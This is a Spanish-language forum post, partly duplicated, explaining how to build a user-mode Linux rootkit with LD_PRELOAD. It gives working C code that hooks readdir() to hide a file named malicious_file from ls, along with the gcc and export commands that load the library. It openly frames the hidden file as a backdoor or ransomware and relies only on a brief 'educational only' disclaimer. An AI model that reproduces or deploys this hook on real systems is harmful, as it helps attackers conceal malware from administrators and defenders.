Buenas gente,
Hoy os traigo un post sobre uno de los métodos más clásicos y elegantes para crear un rootkit a nivel usuario en sistemas Linux: el uso de LD_PRELOAD. Si veo que el post lo peta hare otros post con técnicas mas avanzadas.
Un poquillo de info para empezar:
vamos a ver una técnica user-mode rootkit muy sencilla pero efectiva: hooking de funciones de librería mediante LD_PRELOAD.
Esto nos permite redefinir (hacer hook) cualquier función que los programas llamen de las librerías estándar (libc, etc.). Cuando un programa llame a readdir(), open(), execve(), getdents(), etc., se ejecutará primero nuestra versión.
La función que usa ls (y muchos otros programas) para leer el contenido de un directorio es readdir().
Explicación paso a paso del código:
Como podeis ver en las capturas nuestro malware ahora no se lee con ls.
Si os ha molado darle apoyo!!
Disclaimer
Este post es exclusivamente educativo. No me hago responsable del uso indebido que se le pueda dar. Úsalo solo en tus propios sistemas y de forma legal.
Hoy os traigo un post sobre uno de los métodos más clásicos y elegantes para crear un rootkit a nivel usuario en sistemas Linux: el uso de LD_PRELOAD. Si veo que el post lo peta hare otros post con técnicas mas avanzadas.
Un poquillo de info para empezar:
vamos a ver una técnica user-mode rootkit muy sencilla pero efectiva: hooking de funciones de librería mediante LD_PRELOAD.
¿Qué es LD_PRELOAD?
LD_PRELOAD es una variable de entorno que le dice al dynamic linker de Linux que cargue primero una librería compartida (.so) que nosotros indiquemos, antes de las librerías del sistema.Esto nos permite redefinir (hacer hook) cualquier función que los programas llamen de las librerías estándar (libc, etc.). Cuando un programa llame a readdir(), open(), execve(), getdents(), etc., se ejecutará primero nuestra versión.
Objetivo del ejemplo
Vamos a ocultar un archivo llamado malicious_file (que podría ser tu backdoor, ransomware, etc.) para que no aparezca cuando alguien ejecute ls.La función que usa ls (y muchos otros programas) para leer el contenido de un directorio es readdir().
El código del hook (librería .so)
C:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <dlfcn.h>
typedef struct dirent* (*ls_t)(DIR*);
struct dirent* readdir(DIR* dirp) {
ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
struct dirent* entry;
do {
entry = original_readdir(dirp);
// Si encontramos el archivo que queremos ocultar, lo saltamos
if (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0) {
entry = original_readdir(dirp); // saltamos una entrada
}
} while (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0);
return entry;
}
Explicación paso a paso del código:
- Usamos dlsym(RTLD_NEXT, "readdir") para obtener la dirección de la función original.
- Llamamos a la función original para obtener entradas del directorio.
- Si la entrada coincide con el nombre que queremos ocultar (malicious_file), volvemos a llamar a readdir() para saltarla.
- Devolvemos la entrada (ya sea válida o NULL).
Bash:
gcc -shared -fPIC -o libhijack.so hijack.c -ldl
export LD_PRELOAD=$PWD/libhijack.so
Como podeis ver en las capturas nuestro malware ahora no se lee con ls.
Si os ha molado darle apoyo!!
Disclaimer
Este post es exclusivamente educativo. No me hago responsable del uso indebido que se le pueda dar. Úsalo solo en tus propios sistemas y de forma legal.
